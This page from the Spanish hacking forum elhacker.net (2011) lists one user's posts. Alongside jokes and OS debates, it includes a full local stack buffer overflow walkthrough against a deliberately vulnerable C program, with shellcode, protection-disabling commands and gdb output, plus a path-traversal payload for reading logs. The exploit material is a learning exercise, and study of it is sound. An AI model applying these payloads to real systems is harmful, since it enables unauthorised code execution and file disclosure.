elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 ... 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [29] 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 ... 125
281  Sistemas Operativos / GNU/Linux / Re: No tengo internet en ubuntu 10.10 en: 10 Febrero 2011, 23:00 pm
Que bien que te metas aqui!
Pues mira, te vas a la barrita del WiFi, boton derecho, Editar las conexiones, Inalámbrica, borras todas y la vuelves a meter:)
Si no es Inalambrica, borras otra Wlan :P

Creo que es eso jaja
282  Seguridad Informática / Hacking / Re: Ejecutar comandos desde lectura? en: 10 Febrero 2011, 19:27 pm
Wow como se llamaba esta vulnerabilidad? Es que de exploiting web estoy sin blanca jaja...
Pues lo que podrías hacer sería leer algún log de ssh o demás a ver que ves...
/index.php?mostrar=../../../../../../../../../var/log/XXX

Mmm tengo curiosidad... Alguna otra idea?
283  Seguridad Informática / Bugs y Exploits / Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!] en: 10 Febrero 2011, 19:14 pm
¿Has probado a desactivar protecciones?
Código:
$ sudo su
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
# exit
$
Código:
$ gcc -o vuln vuln.c --no-stack-protector -z execstack

Has copiado el code?
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int vuln (char *buff)
  5. {
  6.    char buffer [36];
  7.    strcpy (buffer, buff);
  8. }
  9.  
  10. int main (int argc, char *argv [])
  11. {
  12.    vuln (argv [1]);
  13. }
  14.  
  15. int feo ()
  16. {
  17.    printf ("Eres feo!!!");
  18.    exit (0);
  19. }
  20.  

Pues primero vemos cuántos bytes le metemos:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$

Vamos, va perfecto...
1) Vemos cuantos bytes le metemos. En este programa dan 40.
2) Ahora, le restamos los bytes de la shellcode:
44 - 4 - 4 - 25 = 11
Los cuarenta y cuatro son para sobreescribir. La primera resta es de la dirección del ret. La segunda es porque al volver se restan cuatro bytes. Entonces tenemos:
11 NOPS + 25 SHELLCODE + 4 RET
3) Calculamos el RET:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$
El ret cambia según qué ordenador. Tenéis que calcularlo cada uno...
Ahora ejecutamos...
Código:
x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit  exploit.c  shell  shell.s  vuln  vuln.c
$ exit
juanra@Juanra:~/Escritorio/Shell$

Si aún no va dímelo...
Suerte!
284  Foros Generales / Foro Libre / Re: Contestaciones verídicas de los niños en los exámenes en: 10 Febrero 2011, 19:03 pm
                                              5.- Di lo que sepas acerca de la expresión "Ave Cesar morituri te salutan".
                                                         Las aves de Cesar murieron por falta de salud.
                                                         (Estos gladiadores..., y la imaginación al poder)


Esa me ha encantado ;)

Trabajo y energía: Trabajo es si cogemos una silla y la ponemos en otro
sitio, energía es cuando la silla se levanta sola.
(Y fuerza es cuando se rompe la silla)

Los cuatro Evangelistas:
Los cuatro evangelistas eran 3: San Pedro Y San Pablo. Leo y releo, y no entiendo cuál es el tercero -y último- de los 4...

La catedral de León:
Fue construida por los romanos gracias a un arquitecto americano. Sí, que les mandó los planos por Internet...

El cerebro:
Las ideas, despues de hablar se van al cerebro. ¡Ojalá!

Jaja!
285  Foros Generales / Foro Libre / Re: La Gioconda ........hoy en: 10 Febrero 2011, 18:58 pm
yo personalemente creo en la belleza natural. Creo que mientras una mujer mas operada y mas acomodada mas estupida se vuelve(por supuesto no en todos los casos) pero e tenido amigas que son muy cheveres que son normales, pero el dia que se operan los senos es como si les pasaran un suiche y puff cambian completamente, por eso me gustan mas la de belleza natural  aqui les dejo un video de hace mucho tiempo donde se ve que la belleza no va muy ligada de la inteligencia.
http://www.youtube.com/watch?v=HjonfoQinuw

Jaja que pavo! Pues estoy de acuerdo contigo. No hablaría con la de la izquierda de .og ni loco jaja
286  Foros Generales / Foro Libre / Re: ¿Porqué usar linux/Unix en lugar de plataforma Dos/Windows ? en: 10 Febrero 2011, 18:52 pm
Se ve que no has usado linux ultimamente,

Ubuntu instala todo mejor que windows, ya sea desde el centro de software o simplemente dandole click a los paquetes descargados o a un link especial en una pagina.

Yo tengo los dos Ubuntu y WIN7, dejame decirte que en ubuntu hago TODO lo que me pide la universidad "BlueJ, netbeans, eclipse, office" etc etc, WIN7Ultimate solo lo tengo por el minitab y aun eso creo se emula bien en wine.

En fin, mi ubuntu lo tengo con sensores, un widget del tiempo, y con el modificador SpeedStep de intel y le muevo a mi gusto, carga en 30 segundos o menos, por cierto los cuatro desktops te hacen la vida mucho mas facil.

En cambio a WIN7 lo tengo DESNUDO tan solo tiene el AIDA, el antivirus/firewall, el minitab, sus actualizaciones y el chrome, y tarda mas de minuto y medio en iniciar osea NO MAMES, si ni lo eh usado, no quiero imaginarme si le pongo mas programas.

Otra cosa, el ubuntu me agarro todo el hardware a excepcion del lector de huellas directamente, incluso me activo el HP 3D DriveGuard.
El WIN7 pedorro ni siquiera me agarra el "scroll zone" de mi touchpad, cosa que ubuntu hizo desde un principio.

PD es una HP elitebook DualCore T9400@2.53Ghz con 2GB de RAM y tarjeta grafica ATI no recuerdo que modelo pero de 256MB, asi que no me vengas con que mi laptop no es lo sufucientemente potente.

Yeah bien hablado ;)
Pues mirad:
Veo tu apuesta y resubo con mi futuro nuevo PC:

Código:
https://spreadsheets.google.com/ccc?key=0Aqmz7xM13S08dGFwaDVlUFE3M0VsY0VOa0QzWGdkM1E&hl=es&authkey=CPmelNUF

Y con los 700€ que me sobran me compro un portátil HP con un core i3.



Bueno, y para desimular el desvío de tema digo que yo soy windowsero, rompí bastantes veces más de una distro linux que mi windows, veo más errores "mortales" en linux que en win, y me siento más cómodo con mi visual studio :). Digo también que siempre tengo dos particiones, una con debian y otra con windows 7, ambas me ofrecen ventajas, pero en mi caso la que uso el 90% del tiempo es la de windows.

Me ha gustado tu PC jaja...
Ya he dicho que son carisimos, pero son buenos...
287  Seguridad Informática / Bugs y Exploits / Re: [Taller] Curso Exploiting elhacker.net 2011 : ¿Te apuntas? en: 10 Febrero 2011, 18:22 pm
Las colgaremos...
El sábado colgamos los grupos ;)
288  Foros Generales / Foro Libre / Re: Contestaciones verídicas de los niños en los exámenes en: 10 Febrero 2011, 00:19 am
Recuerdo que tuve una compañera de clase de los mayores, que no era maleja, pero que nos sorprendió a todos y mucho a mí, cuando en un examen que teníamos que hacer en la capital, después de describir estupendamente a los gatos, se descolgó con el lapsus de que eran animales de unos cuatro o cinco metros de longitud. Cuando yo le reprendí amigablemente, preguntándole que si ella no había visto ningún gato, me contestó con la mayor tranquilidad del mundo que tenía varios en su casa, que como no ibá a saber ella lo que era un minino., lo que ella no sabía era lo que medía un metro. Me tuve que callar y reírme de buena gana con ella.
Jaja, ese último ha sido muy bueno! No me río para que no me pillen  :silbar:
Es cierto o lo de verídico va de broma jaja...

Y el último, modifico, ya me lo sabía jaja, pero es bueno también
289  Seguridad Informática / Bugs y Exploits / Re: [Taller] Curso Exploiting elhacker.net 2011 : ¿Te apuntas? en: 10 Febrero 2011, 00:04 am
¡ Se ha cerrado la lista de inscripción hoy jueves 10 de febrero a las 00:03 horas españolas !
¡ Arrancamos !

PD: Si aún quieres inscribirte, mándame un PM y puede que lo arreglemos... :P sólo hasta los cincuenta...
PD2: Esto es para los de zonas horarias diferentes :-o

Os espero!
290  Foros Generales / Foro Libre / Re: Contestaciones verídicas de los niños en los exámenes en: 9 Febrero 2011, 23:26 pm
Hala Addonis que bueno de verdad !!!
 qué graciosos !!!
 pero son niños .....y bueno hay que disculparles ...

Mi padre, cuando hacía la mili le preguntaron 
de qué color era el caballo blanco de Santiago ??...y dijo que Negro ....

Ni te imaginas el cachondeo que siempre ha habido con eso,,....cuando alguna vez le ha dicho a alguien que se equivocaba le han contestado....tu calla , que dijiste que el caballo blanco de Santiago era negro !!

Wow, muy buenos jeje..
Constance... ¿Qué clase de niños? Yo conozco algunos bien vejetes jaja...
Pues negro. El caballo se llamaba Blanco, pero como el que lo escribió se saltó ortografía...

Era negro ???  ...pues por qué todo el mundo da por sentado que era blanco ??
Ya te digo....si al final ni sería un caballo que sería un burro ???
 por cierto hablando de caballos ???.......me encantaría aprender a montar a caballo ..
Porque nadie sabe de ortografía ;)
No, taaaaaanto no creo que sea... A lo mejor era yegua disfrazada  :xD
A mi no. Yo prefiero las excursiones, pero con gente  :rolleyes:
Páginas: 1 ... 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [29] 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 ... 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines